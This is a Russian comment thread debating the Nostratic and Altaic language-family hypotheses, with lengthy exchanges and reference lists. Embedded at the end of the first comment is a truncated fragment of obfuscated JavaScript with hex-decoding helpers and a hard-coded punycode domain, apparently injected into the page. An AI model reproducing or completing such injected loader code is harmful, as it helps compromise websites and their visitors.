Комментарии: К вопросу о перспективах развития ностратического языкознания

Автор: Руслан Бакаров

Руслан Бакаров — Fri, 12 Feb 2016 09:55:29 +0000

Георгию Старостину.
«Перехожу к выводам. Этимология по-настоящему хороша тогда, когда она образует систему».
Здравствуйте! Очень хорошо сказано!
Вы наверное согласитесь со мной если я скажу, что лексические параллели(основной путь к этимологии), это еще не этимология. Если какие-то лексические параллели идут от общего корня, то и у этого корня должна быть этимология. И мне кажется, хоть я и не лингвист, что от этимологии корня, как от некоего семени, развивается семантика, как ростки, и дальше образуется то, что лингвисты называют лекс.параллелями. Пологаю это и есть система. Но сколько бы я не искал этимологии корней (индоевропеских, семитских и т.д), ничего вразумляющего так и не нашел.
Вопрос: Не кажется ли Вам, что этимологии корней(пракорней) и есть та преграда, к которой подошла компаративистика или сравнительное языкознание в целом? Или я ошибаюсь?
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "xn--c1acc6aafa1c.xn--p1ai"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Автор: Inal Gagloev

Inal Gagloev — Tue, 22 Dec 2015 14:14:00 +0000

P.S.

Если у кого-то проблемы с нахождением статей Fabricius-Kovács и Balázs’a, то хотелось бы дать ссылки на некоторые работы, указанные мной в списке литературы:

* http://real-j.mtak.hu/1136/1/ALTNYELVTAN_12.pdf
* http://real-j.mtak.hu/5390/1/StudiaSlavica_22.pdf

Автор: Inal Gagloev

Inal Gagloev — Sun, 20 Dec 2015 09:36:19 +0000

Аппеляция к религиозности возникла в результате чтения Е. Хелимского. Он, конечно, выдающийся лингвист, но когда при реконструкции фонологии в уральских языках учитывается гипотетическая ностратическая фонология, выдвинутая Иллич-Свитычем, то возникают соответствующие аллюзии. Это очень близко типологически к марксизму. Вот есть теория, подгоняем факты под неё. Специально хочу подчеркнуть, что в случае историков-марксистов это кончилось тем, что частные специалисты нашли таки капитализм в древней Месопотамии [Algaze, 2008], древнем Египте [Warburton, 2003], древней Греции [Tandy, 2001], древнем Риме [Temin 2012], средневековой — Италии [Toubert, 1997], Англии [Masschaele, 1997], Франции и Германии [Verhulst, 2002], поэтому теперь идеологические марксисткие работы (Поланьи, Финли) по данной теме представляют собой не более чем чисто историографический интерес [Гуди, 2007].

По остальному попытаюсь ответить на то, что позволяет мое понимание лингвистики. Из чтения «баттлов» на тему дальнего родства, включая Ваши комментарии, я вынес следующее. Во-первых, без четких лексических схождений — морфологическая парадигматическая близость еще не доказывает генетическое родство, поэтому можно согласится с одной из Ваших интерпретаций Сифлота (Seefloth’a), что в данном случае речь может идти о языках имеющих определенные парадигматические совпадения в силу креолизации [Dybo A. V. and Starostin G. S., 2008]. Также, как я полагаю, в случае доказательств родства на основе парадигматической морфологии важно количество сходных подсистем грамматической структуры. У Сифлота с этим, как я понимаю, не густо. Во-вторых и тут я бы хотел Вас поддержать — само по себе отсутствие морфологических парадигматических схождений еще не говорит о том, что языки не родственны, если исходить из положения, что морфология появилась на позднем языковом уровне [Balázs, 1973; Fabricius-Kovács, 1976].

Теперь, что касается позиции Вашей группы в отношение дальнего родства. Обращение к наиболее парсимонистическим сценариям выдает в Вас «ламперов»:

* В последние десятилетия XX в. в африканском языкознании произошла смена языковедческой парадигмы. В противовес сторонникам дальнего родства и специалистам по макрокомпаративистике, довлевшим в африканистике в течение более полутора столетий и называемым в англоязычном научном сообществе ламперами (англ. lumpers, букв. ‘сваливающие в кучу’), среди учёных-африканистов стали преобладать т. н. сплиттеры (splitters, букв. ‘разделяющие’) — противники идей макрокомпаративистики, направляющие усилия на изыскания в области типологических параметров, выделение небольших независимых групп и семей языков, объяснение схожих элементов конвергентными отношениями, а также активный поиск языков-изолятов. (с) К.В. Бабаев, Роль парадигматической грамматики для обоснования нигеро-конголезской гипотезы / Основы африканского языкознания. Диахронические процессы и генетические отношения языков Африки. Ред. В.А.Виноградов. // М.: Языки славянской культуры, 2014.

Там у К.В. Бабаева есть один аргумент против теории Гринберга, который применим к Вашим построениям. Собственно, как у Вас обстоят дела с реконструкцией фонологической и прочих систем во-первых ностратического языка, во-вторых алтайской и иных групп, учитывая их критику в прошлом [Щербак, 1984; Серебренников, 1986] (недавнюю критику Вовина в отношение EDAL см. [Vovin, 2011]). Если такая реконструкция не выполнена, то о каком парсимонистическом сценарии может идти речь? Или Вы придерживаетесь той точки зрения, что родство настолько древнее, что в случае ностратического, алтайского, японо-корейского и прочих гипотетических языковых подсемей — система соответствий не может быть восстановлена? Такая позиция, наверно, допустима, но в таком случае хотелось бы увидеть какие-то другие важные критерии, которые могли бы уверить лингвистическое сообщество в родстве. Иначе, согласитесь, Вы просто «сваливаете все в кучу» под тем предлогом, что такой сценарий наиболее прост. Но в лингвистике, как и в жизни, дьявол скрывается в деталях, поэтому вовсе не кажется чем-то странным предположить дальнейшее отвержение Ваших идей со стороны копающих именно такие детали — «сплиттеров». Как Вы таких ученых собираетесь переубеждать? Вы же не планируете стать научной сектой?

Допускаю, что таким важным критерием могут быть структурно-функциональные элементы, исследование которых в случае уральского и индо-европейского проводил Я. Балаж [Balázs, 1968; Balázs, 1969; Balázs, 1978; Казанцев, 1979].

Ну и по поводу осетинского или аланского языка (осетинский = современный аланский). Мне наборот кажется, что язык, который находился под кавказским влиянием всего около 1600 лет, учитывая даже те изменения, которые в нем есть уже сейчас (см. [Камболов, 2006]) служит вполне себе таким хорошим примером для сравнения с теми языками которые могли испытать на себе аналогичные процессы, но уже в значительно больший промежуток времени, скажем 6000 лет. И тем более на пра-языкомом уровне, как предлагал Г. Дёрфер [Дёрфер, 1981], хотя отмечу, что поддерживаемое Вами представление о генетическом родстве конкретно тюрского и монгольского я вижу равнозначной альтернативой его предложению.

ЛИТЕРАТУРА

* Algaze G. Ancient Mesopotamia at the Dawn of Civilization // The University of Chicago, 2008
* Tandy D. W. Warriors into Traders: The Power of the Market in Early Greece // University of California Press, 2001
* Temin P. The Roman Market Economy // Princeton University Press, 2012
* Toubert P. Dalla terra ai castelli. Paesaggio, agricoltura e poteri nell’Italia medievale. // Biblioteca Einaudi, 1997.
* Masschaele J. Peasants, Merchants and Markets: Inland Trade in Medieval England, 1150–1350 (New York: St. Martin’s Press, 1997)
* Verhulst A. The Carolingian Economy. // Cambridge University Press, 2002
* Warburton D. A. Macroeconomics from the Beginning: The General Theory, Ancient Markets, and the Rate of Interest // Recherches et Publications, 2003 (см.:[topoi.academia.edu/DavidWarburton/Books] & de.wikipedia.org/wiki/David_A._Warburton)
* Джек Гуди, Похищение истории / Перевод книги на русский язык осуществлен по изданию: Jack Goody. The Theft of History. Cambridge University Press, 2007 (М.: «Весь Мир», 2015)
* Dybo, A. V. and Starostin, G. S. (2008). In defence of the comparative method, or the end of the Vovin controversy. Aspects of Comparative Linguistics 3. Moscow: RSUH Publishers
* Fabricius-Kovács, F . (review) J . Balázs, Funktionsw erte der Pronom inalität // Studia Slavica Hung. Budapest. 1976.
* János Balázs, Funktionswerte der Pronominalität. Akadémiai Kiadó, Budapest 1973
* Серебренников Б. А. (Москва). Почему трудно верить сторонникам ностратической гипотезы? // Вопросы языкознания, 1986 (3)
* Щербак A.M. (Ленинград). О ностратических исследованиях с позиций тюрколога // Вопросы языкознания, 1984 (6)
* Vovin A. First and second person singular pronouns: a pillar or a pillory of the ‘Altaic’ hypothesis? // Türk Dilleri Araştırmaları, 21.2 (2011): 251-278
* Камболов Т.Т. Очерк истории осетинского языка: Учебное пособие для вузов — Владикавказ. Ир, 2006
* Дёрфер Г. Базисная лексика и алтайская проблема // Вопросы языкознания, 1981, №4.
* J . Balázs, «Zur Frage der indo-uralischen Verwandtschafts» // Congressus Secundus Internationalis Fenno-Ugristarum (Helsinki, 1968)
* J . Balázs, «Alcuni aspetti di una tipologia indo-uralica» // Studia Classica et Orientalin Antonio Pagliaro oblata III. (Roma, 1969)
* J. Balázs, «Az indouráli nyelvrokonság elmélete tipológiai szempontból» // ANyT XII (1978)
* Казанцев Д. Е. Истоки финно-угорского родства / Под ред. И. С. Галкина. — Йошкар-Ола : Мар. кн. изд-во, 1979.

Автор: Георгий Старостин

Георгий Старостин — Fri, 18 Dec 2015 08:38:33 +0000

Добрый день.
Я, простите, кратко, нет особенно времени на дискуссию. Во-первых, ответы на большую часть Ваших претензий изложены в моей недавно вышедшей научпоп-монографии («К истокам языкового разнообразия»), так что здесь нет смысла их повторять. Во-вторых, апелляция к «религиозности» ностратики, позаимствованная Вами из стилистики уважаемого А. Вовина, выглядит очень дешево, т. к. ни в вывешенной здесь статье, ни где-либо еще мы не опираемся на авторитет Иллич-Свитыча как главный или единственный аргумент. Если Вы где-нибудь у меня найдете что-то вроде «как было неоспоримо доказано Иллич-Свитычем…», дайте знать, пожалуйста.
И самое главное — вот это: «может стоит сосредоточиться на чистой маркокомпаративстике без всякого багажа для доказательства однознчного родства более меньшего количества семей? И для этого разумеется заняться внутренней реконструкцией языков на максимально правдоподобную глубину?»

Эти вопросы показывают, что Вы совершенно не учитываете — впрочем, как и немало уважаемых компаративистов, в т. ч. перечисленных выше — довольно существенные изменения в научной парадигматике компаративистики, которые, кстати, почему-то находят большее понимание у представителей смежных дисциплин (археологии, генетики, антропологии), чем у старых школ компаративистики. Мы (по крайней мере, та группа исследователей, которую представляю я — не все московские компаративисты со мной согласятся) не занимаемся «доказательством однозначного родства» или вообще каким-либо «доказательством». Мы занимаемся анализом системных сходств между языковыми семьями и их интерпретацией в рамках более или менее вероятных исторических сценариев развития. В частности, анализ японско-корейских схождений показывает, что на текущем этапе развития этих исследований эти схождения структурированы так, что их экономнее и типологически вероятнее объяснять общим предком, нежели вторичной конвергенцией. Анти-алтаисты исходят из следующего методологического принципа: «До тех пор, пока не будут доказательно опровергнуты все альтернативные сценарии — как-то случайное сходство или контакты — мы не принимаем идею алтайского родства». Этот принцип, на мой взгляд, отражает довольно нелепую предвзятость, и, кстати, наносит очень серьезный вред развитию ареальной лингвистики, потому что в итоге появляется гигантское количество публикаций, совершенно «бездоказательно» постулирующих древние контактные связи между языками так, как будто любое сходство «разрешено» объявлять контактным без тщательной аргументации, но «запрещено» объявлять генетическим без сотни мешков аргументов.
Мы исходим из иного принципа: «Если сходства превышают порог случайности» (а в случае с алтайскими языками они, безусловно, его превышают, здесь этого не будут отрицать даже анти-алтаисты), «мы выбираем в качестве рабочей модели тот сценарий, который наиболее адекватно согласуется с историко-типологической реальностью». Опять-таки, скажем, японо-корейские параллели в области базисной лексики гораздо адекватнее интерпретируются как следы родства, чем ареальной конвергенции; мне неизвестны ситуации в языках мира, когда бы аналогичное количество и качество схождений наглядно объяснялось контактным развитием. Кстати, Ваш пример с осетинским — как раз очень хорошая аналогия: действительно, в базисной лексике осетинского языка есть несколько слов северокавказского происхождения, но основной массив, особенно если его ранжировать в порядке общей среднестатистической стабильности, наглядно выявляет унаследованный общеиранский слой, на который накладываются элементы кавказского субстрата. Полностью аналогично, скажем, в японской базисной лексике выделяется мощный алтайский слой, на который далее накладываются элементы «островного» (вероятно, австронезийского) субстрата. «Доказывает» ли это алтайскую принадлежность японского языка? В строго математическом плане — нет. Но нам этого и не требуется; нам требуется всего-навсего ранжировать альтернативные сценарии в плане их большей или меньшей вероятности. И в этом смысле, скажем, отчаянная попытка Вовина объяснить тюрко-монголо-тунгусские местоименные системы как сплошные заимствования из булгарского, со ссылками на отдельные редкие случаи заимствования личных местоимений в языках мира, вообще не имеет никакой значимости, т. к. она противопоставляет простому и естественному сценарию сложный, запутанный и типологически неестественный — исключительно для того, чтобы гордо заявить: «они думают, что ‘доказали’ алтайское родство, а на самом деле не доказали». Ну, конечно, с этой точки зрения очень много чего не доказано, включая, например, объективное существование нас с Вами. Хотите идти против типологии диахронических изменений, плодить сущности сверх необходимости? Ради бога. Мы не хотим.

Автор: Inal Gagloev

Inal Gagloev — Thu, 17 Dec 2015 21:40:49 +0000

«Самая важная задача лингвистики сегодня — на самом деле, единственная действительно важная задача — это взять на себя труд выйти в поле и описывать языки, пока это еще возможно… Если бы каждый изучающий лингвистику (а также каждый преподаватель) в настоящее время работал хотя бы над одним языком…» (c) Dixon R. M. W. The Rise and Fall of Languages. Cambridge, 1997

Здравствуйте ув. г-н Г. Старостин. Рад, что Вы ответили. Надеюсь дискуссия выйдет продуктивной.

Да, за «поток сознания», как Вы доходчиво выразились, я прошу прощения. Знаете, когда нет хорошего понимания предмета, то обычно выходит именно такой «поток сознания». Но это я надеюсь в прошлом. Сейчас, как мне кажется, я разбираюсь в данной теме значительно лучше.

Отвечу по порядку.

I. Об исключительной важности языковой конвергенции.

Ну собственно этому посвящена работа Роберта Диксона «The Rise and Fall of Languages» (Cambridge University Press, 1997), где им последовательно критикуется макрокомпаративистика в духе ностратитики и показывается исключительная важность процессов конвергенции [Николаевская, 2010]. Я не согласен с ним в ряде ключевых моментов, но множество важных идей в его работе имеется.

Что касается «ассимилирующей креолизаций», то я имел ввиду под этим переход на новый язык при ряде модификаций в произношении и включение элементов лексики из старого языка в новый. В качестве примера, чтобы далеко не ходить можно взять мой народ — осетин, предки которых в лице местных кавказских племен, смешиваясь с рядом аланских групп,перешли на аланский язык и восприняли аланскую культуру (нартский эпос, etc) [Кочиев 1990; Герасимова 1994]. Поэтому совершенно неудивительно, что в базисной лексике осетинского языка такие слова, как — рот, рука, нога, жена — происходят из вайнахских языков [Камболов 2006; Абаев 1959].Также система склонения в осетинском языке противопоставляется всем иранским и имеет прямые аналоги в вайнахском [Камболов 2006; Абаев 1995].

Если говорить вообще об ареальном влиянии, то не могу не отметить, что в целом влияние кавказских языков (особенно восточно-кавказских и картвельских) на осетинский — чудовищно сильно [Камболов 2006]. Как писал по этому поводу великий лингвист Эмиль Бенвенист:

* В осетинском нельзя найти почти никаких характерных элементов общеиранского, которые можно было бы ожидать и которые служили бы для классификации диалектов. (с) Е. Benveniste. Etudes sur la langue ossete. — Paris, 1959.

II. Про работу А. Вовина.

Вы не поверите, но я читал Вашу рецензию и я не убежден ею. Разумеется не потому, что я хорошо разбираюсь в вопросе. Просто помимо Вашей рецензии я прочел довольно обстоятельную рецензию Кристофера Беквита [Beckwith 2010], где им критически разбирается Унгер [Unger 2009] и приводится масса своих доказательств в поддержку Вовина [Vovin 2010] с ссылками на собственные статьи по обсуждаемому вопросу. Кто такой Беквит, мне — я надеюсь — говорить не надо? Публикации по лингвистике и истории в «Leiden: Brill» и «Princeton University Press» говорят сами за себя (см.: http://www.iu.edu/~ceus/faculty/beckwith.shtml).

Что касается характера связи японского и корейского, отмечу следующее. У нас даже в достаточно широко исследованных языках, каковыми являются индоевропейские и, в частности, балтские со славянскими — возникают вопросы на которые исследователи принимающие один и тот же ‘framework’ отвечают по разному. Так, например, в случае балто-славянской акцентуации три исследователя, работающие в пост-станговской перспективе (или как пишет Вермеер «early offshoot of the Moscow school»), такие как К. Л. Эбелинг, Т. Оландер и собственно В. А. Дыбо понимают акцентологическую близость славянского и балтского — принципиально различно. Первый говорит о параллелизме, второй о совпадение в результате контактов, а третий о том, что совпадения свидетельствуют о балто-славянском праязыке. Неплохой такой разнобой, да?

Тут, в качестве важной ремарки нельзя не отметить вообще отсутствие консенсусной акцентологической реконструкции даже среди пост-станговцев.В рамках Московской акцентологической школы (МАШ), помимо основной реконструкции, были предложены две альтернативные, одна за автороством М. Ослона [Oslon, 2011], вторая за авторством патриархов МАШ, где, что забавно — отрицается закон Станга [Hendriks 2003] и, как я понимаю,собственно закон Дыбо [Ослон, 2011a]. Также можно вспомнить об альтернативной реконструкции такого анти-станговца, как Герта Клингеншмитта [Klingenschmitt, 1994] или такого противника Станга и непосредственно балто-славянского родства, как Э. Станкевича [Stankiewicz, 1993]. И после этого еще удивляйся спорам Кортландта и Джезенова. А ведь индо-европеисты борются «за звание дома высокой культуры быта!».

Вообщем, учитывая наличие серьезной критики в случае родства японского и корейского, сначала хотелось бы увидеть максимально возможную внутреннюю реконструкцию праязыкового состояния непосредственно японского и отдельно корейского без заранее поставленной цели увидеть между ними родство. Мне непонятно о чем могут говорить с уверенностью сторонники генетического родства этих языков, когда даже реконструкция такого гипер-исследованного языка, как индо-европейский вызывает вопросы [Pooth, 2009]?

III. О случайных совпадениях.

В случае морфологии — во многом согласен. Я не лингвист и не учел этого обстоятельства. Да, аналогичную аргументацию относительно морфологических совпадений, но уже против ностратической теории в версии Иллича-Свитыча, использовал Щербак [Щербак 1984]. Тут правда нужно уточнить, что в случае предложенной Чопом реконструкции индо-уральской системы именного склонения для которой выводимы парадигмы обоих языков-потомков — мы уже имеем дело не просто с морфологическими совпадениями, но совпадениями предполагающими определенный общий уровень парадигматической морфологии. Это совсем иное дело и как Вы признаете сами в совместном с А. В. Дыбо ответе на рецензию Вовина, при доказательстве родства такой аргумент — совпадения на парадигматическом уровне — стоит много.

Тем не менее возражение Ваше обоюдоострое и если вспомнить аналогичную критику А. Бомхарда со стороны Е. Хелимского, то встает вопрос — а чем же так сильно отличается лексика от морфологии? Ведь и там, как утверждает Е. Хелимский, возможно довольно значительное количество случайных совпадений. Причем не спасают даже ограничительные условия, предложенные В. Ивановым и Т. Гамкрелидзе.

Если учесть также субституцию и языковую адаптацию, которая имеет место быть при контактах и когда происходит «выравнивание» звучания разных по происхождению слов, то проблема еще больше осложняется. Что касается совпадений в фонологии, то могу сослаться на критику ностратической теории со стороны А. Ю. Акулова [Акулов, 2007].

IV. О «перспективах».

Простите, но в кавычках. Смотря со стороны на «ностратическое движение» мне почему-то бросается в глаза очевидная близость к марксизму. У тех Карл Маркс, у Вас — Иллич-Свитыч. У тех «Капитал», у Вас «Опыт сравнения…».

Вы сказали о перспективах, но я бы поговорил о регрессе. Что мы собственно имеем? Во-первых семито-хамитскую семью в Вашей версии ностратической гипотезы — исключили. В случае картвельских и дравидийских ведете речь о «раннем отделении». Ну, здесь очевидно также не за горами исключение и этих семей, поскольку собственно пассаж о «раннем отделении» выдает слабость аргументов, обосновывающих родство. Когда это произойдет мы будем иметь дело с евразийской гипотезой Гринберга (критику которой см. в [Ringe, 2002]). А дальше? Не будут ли усечения продолжаться дальше, уже Вашими продолжателями? Будут.

Собственно тут вся проблема в том, что работы исследователей направлены на доказательство гипотезы Иллич-Свитыча. Надо Е. Хелимскому заниматься реконструкций фонологии в ряде уральских так, чтобы эта реконструкция соответствовала ностратике и будет реконструкция идти таким образом.

При таком подходе проблем в конечном счете не оберешся. Они уже дают о себе знать. Для этого достаточно обратиться к контр-рецензии М. А. Живлова на контр-рецензию A. В. Дыбо & Ю. В. Норманской [ A. В. Дыбо & Ю. В. Норманская, 2012; Живлов, 2012]. Что мы там видим? Полное, совершенное игнорирование конструктивной критики. Впрочем, сравнение М. А. Живлова с А. Вовиным и Б. А. Серебренниковым — делает критику честь, как я думаю. Последние два — крутые специалисты. И, кстати, отмечу, что критика в сторону Б. А. Серебренникова кажется неубедительной из-за странного отсутствия ссылки на собственно его статью в адрес ностратической теории от 1986-ого года [Серебренников, 1986].

В обшем, может не стоит направлять все свои усилия ряди и для теории, может стоит сосредоточиться на чистой маркокомпаративстике без всякого багажа для доказательства однозначного родства более меньшего количества семей? И для этого разумеется заняться внутренней реконструкцией языков на максимально правдоподобную глубину?

Славы и лавров хочется всем и я желаю удачи Вам и Вашим коллегам в их исследованиях, но факт в том, что азарт пропал, что в теории глубинного родства с большим количеством семей уже не веришь просто так, хотя и для меня, как и для А. Вовина [Vovin, 2013] даже языковой моногенез весьма вероятная возможность.

ЛИТЕРАТУРА

* Николаевская Р. Р. Английский язык в контексте генеалогической, типологической и ареальной классификаций языков // Вестник Московского государственного лингвистического университета № 598, 2010
* В.И. Абаев, Осетино-вайнахские лексические параллели, — Известия ЧИНИИИЯЛ, т. 1, вып. 2, Грозный, 1959 г.
* Абаев В.И. Избранные труды. Том II. Общее и сравнительное языкознание Владикавказ. Ир, 1995.
* Камболов Т.Т. Очерк истории осетинского языка: Учебное пособие для вузов — Владикавказ. Ир, 2006
* Герасимова М. М. 1994. Палеоантропология Северной Осетии в связи с проблемой происхождения осетин. Этнографическое обозрение (3)
* Кочиев Р.С. Процессы ассимиляции и метисации населения Кавказского высокогорья с древнейших времен // Расы и народы. 1990, № 20.
* Vovin, Alexander. Koreo-Japonica: A Re-evaluation of a Common Genetic Origin. Honolulu: University of Hawai‘i Press and Center for Korean Studies, University of Hawai‘i, 2010
* 2010.Unger, J. Marshall. The Role of Contact in the Origins of the Japanese and Korean Languages. Honolulu: University of Hawai‘i Press, 2009.
* C. I. Beckwith Could there be a korean–japanese linguistic relationship theory? Science, the data, and the alternatives // International Journal of Asian Studies, 2010
* Щербак A.M. (Ленинград). О ностратических исследованиях с позиций тюрколога // Вопросы языкознания, 1984 (6)
* Pepijn Hendriks A note on Stang’s law in Moscow accentology // Studies in Slavic and General Linguistics Vol. 30, Dutch Contributions to the Thirteenth International Congress of Slavists. Linguistics (2003)
* Ослон М.В. (Совместно с В. Ринкявичюсом.) [Рец. на кн.:] F. Kortlandt. Baltica & BaltoSlavica // Вопросы языкознания. М., 2011а. № 5.
* Oslon M. Je li bilo tonova u praslavenskom? // Dani akcentogije, 2011
* Stankiewicz, Edward 1993 The accentual patterns of the Slavic languages. Stanford/California: Stanford University Press.
* Klingenschmitt G. Die Verwandtschaftsverhältnisse der indogermanischen Sprachen. In honorem Holger Pedersen: Kolloquium der Indogermanischen Gesellschaft vom 25.–28. März 1993 in Kopenhagen, Jens Elmegård Rasmussen (ed.) Wiesbaden: L. Reichert (1994)
* Pooth R.A. Proto-Indo-European ablaut and root inflection: an internal reconstruction and inner-PIE morphological analysis // J.E. Rasmussen, T. Olander (eds.). Internal reconstruction in Indo-European: methods, results, and problems. Section papers from the XVI International conference on historical linguistics, University of Copenhagen, 11th–15th August, 2003 (Copenhagen studies in Indo-European. V. 3). Copenhagen: Museum Tusculanum press, 2009
* Акулов А. Ю. Против неоностратики или еще раз о типологии и генетической принадлежности языка айну // Известия Института Наследия Бронислава Пилсудского.- Южно-Сахалинск, 2007.
* Ringe D. Reviewed «Joseph H. Greenberg, Indo-European and its closest relatives: the Eurasiatic language family, vol. 1: Grammar. Stanford, CA: Stanford University Press, 2000. Pp. 326.» // Journal of Linguistics — July 2002. — Vol. 38
* А. В. Дыбо, Ю. В. Норманская К методике сравнения этимологических работ (ответ на рецензию М. А. Живлова)// • Вопросы языкового родства • 7 (2010)
* М. А. Живлов. К вопросу о критериях оценки этимологических работ // • Вопросы языкового родства • 7 (2010)
* Серебренников Б. А. (Москва). Почему трудно верить сторонникам ностратической гипотезы? // Вопросы языкознания, 1986 (3)

* Vovin A. Why Koreanic is not demonstrably related to Tungusic? Comparison of Korean with Other Altaic Languages: Methodologies and Case Studies. — 2013.

Автор: Георгий Старостин

Георгий Старостин — Tue, 15 Dec 2015 13:41:08 +0000

Уважаемый г-н Гаглоев,
к сожалению, поскольку Ваши комментарии чересчур многословны и написаны скорее в жанре «поток сознания», не могу ответить Вам на все (тем более, многократно повторяющиеся в разных формулировках) аргументы; но поскольку они на подобного рода форумах часто встречаются, попробую очень кратко разобрать самое начало Вашего рассуждения, чтобы обозначить моменты, где Вы явно не очень «в теме».»Проблемы ностратики значительны. Во-первых это полное игнорирование истории носителей языков, точнее — их преисторических миграций на огромные расстояния, которые часто приводили к долгим языковым контактам и/или ассимилирующей креолизации.»
Трудно игнорировать или не игнорировать то, о чем не имеется никакого представления. Разумеется, все сторонники ностратической гипотезы допускают вторичное контактное влияние как отдельных ностр. ветвей друг на друга (Иллич-Свитыч, к Вашему сведению, например, специально занимался индо-семитскими и индо-картвельскими контактами), так и взаимовлияния неностр. языков на ностратические. Однако «ассимилирующая креолизация» требует не менее, а то и более строгих доказательств, чем генетическое родство, поскольку по сравнению с обычной дивергенцией языков в мире встречается намного реже. Такие доказательства противниками ностратики обычно не приводятся.
«И как Вы прекрасно знаете Александр Вовин совсем недавно доказал генетическую неродственность японского и корейского. Т.е. даже внутри гипотетической алтайской семьи что-то может иметь генетическое родство, а что-то аллогенетическое (вторичное, приобретенное) родство.»
Нет, я этого прекрасно не знаю; более того, не так давно писал рецензию на книгу Вовина, объясняя, почему его выводы неубедительны. Если я что-то прекрасно и знаю, то это то, что доказать отсутствие родства невозможно — возможно только доказать его наличие; что же касается конкретных аргументов Вовина, то они сводятся к тому, что установленная система регулярных соответствий между корейским и японским далека от идеала, и поэтому родства нет, а есть контакты. На самом деле как раз идеальная система соответствий между корейским и японским свидетельствовала бы о (недавних) контактах, а та, которая прослеживается, гораздо естественнее интерпретируется как следствие дальней родственности.
«О методах. Боян Чоп выделил более 150 общих индо-уральских суффиксальных, индо-уральские соответствия на уровне морфемных комплексов, 30 общих индо-уральских этимологий числовых и падежных аффиксов, а также предложил реконструкцию индо-уральской именной акцентуации для которой выводимы парадигмы обоих языков-потомков. Может ли таким похвастаться ностратика? Я доверю Бояну Чопу, а вот ностратике — нет. И sapienti sat почему.»
Вдумайтесь сами, и Вы поймете несуразность этой ситуации. 150 общих грамматических морфем между родственными языками — непременный залог очень, очень близкого родства. Попробуйте найти два современных индоевропейских языка (из разных ветвей), которые бы имели между собой 150 общих граммем; Вы даже близко не подойдете к этому числу. Именно поэтому, конечно, ни Б. Чопу лично, ни методике переоценивания грамматической аргументации в макрокомпаративистике не может быть никакого доверия: сложные грамматические системы просто-напросто столько не живут. Возможность выделения столь большого числа параллелей обеспечивается элементарными причинами: грамматические морфемы, во-первых, короткие, во-вторых, выражают одно или несколько значений из весьма ограниченного спектра. Для каждой грамматической морфемы в уральских языках, например, не составит большого труда подобрать что-то похожее, скажем, в севернокавказских. При этом базисно-лексических совпадений, аналогичных индо-уральским «воде», «имени», «слышать», конечно, обнаружено не будет. Так что не обольщайтесь.
«У Флеминга все нормально совпадает с распространением палеолетических культур в Евразии, у ностратистов необходимо постулировать существование единой общности (не только языковой) в промежуток 16 тыс лет назад, когда уже существовала масса различных палеолетических культур. Вот как Вы предлагает в это поверить? Откуда взята датировка?»
Не очень понятно, во что я предлагаю поверить. Опять-таки, никто из авторов ностратической гипотезы не утверждает, что в эпоху существования праностр. языка все палеолитические культуры говорили на одном языке. Утверждается, что последовательные волны ностратической экспансии вытеснили и ассимилировали большую часть языкового наследия Евразии — что в этом, собственно, странного? Унификационные процессы — реальность во все периоды существования человечества. Что касается датировки, то в этом отношении я соглашусь: текущие лексикостатистические датировки глубиной более 10 тыс. лет абсолютно ненадежны, в первую очередь из-за нехватки данных. Но, в общем, мы на них и не настаиваем особенно. Однако делать вид, что спекулятивное отождествление древних макросемей с теми или иными археологическими культурами, основанное исключительно на интуиции, в чем-то лучше лексикостатистики — столь же безрассудно, как и слепое доверие к глоттохронологическим датировкам на основании 4-5% совпадений.И последнее (простите) про конвергентную эволюцию. Как я уже сказал, конвергентную эволюцию, как и родство, недостаточно постулировать; конвергентный сценарий требует столь же сурового обоснования, как и дивергентный. Мы категорически отвергаем логику, согласно которой «не предъявил сто мешков доказательств — значит, конвергенция», противопоставляя ей логику «объясните в каждой конкретной ситуации, почему здесь системные сходства скорее интерпретируемы как результат дивергенции, а здесь — как результат конвергенции». Скажем, почему индоирано-финноугорские или китайско-тайские схождения гораздо лучше объясняются конвергенцией, чем дивергенцией — понятно. А вот почему тюрко-монгольские или японо-корейские или индо-уральские — нет, непонятно; в случае с этими парами, если очистить их от действительно наносных контактных факторов, оставшиеся схождения в области базисной лексики (и отдельных — ни в коем случае не многочисленных — грамматических элементов) выглядят абсолютно аналогично ситуации, скажем, с современными индоевропейскими языками. Попробуйте напрямую, не обращаясь к древним языкам, сравнить современные ирландский, албанский и хинди, и у Вас тут же появится соблазн придумать для них сценарий «ассимилирующей креолизации», увы.С уважением
Г. Старостин

Автор: Inal Gagloev

Inal Gagloev — Fri, 11 Dec 2015 14:18:47 +0000

Я выше очень много сказал о миграциях и в этом плане не могу не обратить внимание читателей на замечательную статью Александра Вовина, где он во-первых показывает, что одно из важнейших доказательств гипотетической алтайской семьи на самом деле является одним из аргументов против генетического родства, а во-вторых подтверждает важность древних миграций. См.:
* https://www.academia.edu/4195140/First_and_second_person_singular_pronouns_a_pillar_or_a_pillory_of_the_Altaic_hypothesis (First and second person singular pronouns: a pillar or a pillory of the ‘Altaic’ hypothesis? // Türk Dilleri Araştırmaları, 21.2 (2011): 251-278)

Автор: Inal Gagloev

Inal Gagloev — Sun, 15 Nov 2015 09:59:14 +0000

Продолжая…

Собственно, что бы в действительности хотелось увидеть.

Во-первых, точно не ностратику, а макрокомпаративистику. Т.е. не теорию, где по какими-то идеологическим причинам исключено существование миграций пара-языков или рано отделившихся прото-/пра-языков и прото-/пра-языковые контакты/креолизации, а теорию, которая учитывает данный исторический аспект в сравнительно-исторической лингвистике. Можно не соглашаться* с Г. Дёрферым в отношение его отрицания генетических связей монгольского и тюрского, но учитывая недавнюю работу А. Вовина, которая доказала не-родственность корейского и японского, нужно признать, что отношения внутри гипотетических семей могут быть также значительно более сложными и тем самым принять во внимание на общетеоретическом уровне предложение Г. Дёрфер по объяснению связей монгольского и тюрского, обсуловленного прото-/пра-языковыми контактами. Вполне возможно, что связь индо-европейского и уральского с гипотетической алтайской семьей имеет именно такой характер, где только некоторые группы (скорее всего тунгусо-манжурские) проявляют генетическое родство, а другие аллогенетическое.
Далее, методы. Лексические и фонетические совпадения даже в большом количестве могут отражать конвергентную эволюцию и языковые контакты. Как писал по этому Г. Дёрфер:

